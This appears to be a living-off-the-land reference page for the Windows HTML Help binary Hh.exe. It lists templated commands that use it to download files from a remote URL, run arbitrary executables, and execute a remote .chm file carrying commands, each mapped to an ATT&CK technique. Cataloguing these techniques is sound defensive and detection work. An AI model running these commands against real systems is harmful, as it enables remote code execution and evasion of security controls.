.. /Hh.exe
Star

Download (EXE, GUI)
Execute (EXE, GUI, CMD, CHM, Remote)

Binary used for processing chm files in Windows

Paths:

Resources:

Acknowledgements:

Detections:

Download

  1. Open the target batch script with HTML Help.

    HH.exe {REMOTEURL:.bat}
    Use case
    Download files from url
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Execute: EXE
    Application: GUI

Execute

  1. Executes specified executable with HTML Help.

    HH.exe {PATH_ABSOLUTE:.exe}
    Use case
    Execute process with HH.exe
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.001
    Tags
    Execute: EXE
    Application: GUI
  2. Executes a remote .chm file which can contain commands.

    HH.exe {REMOTEURL:.chm}
    Use case
    Execute commands with HH.exe
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1218.001
    Tags
    Execute: CMD
    Execute: CHM
    Execute: Remote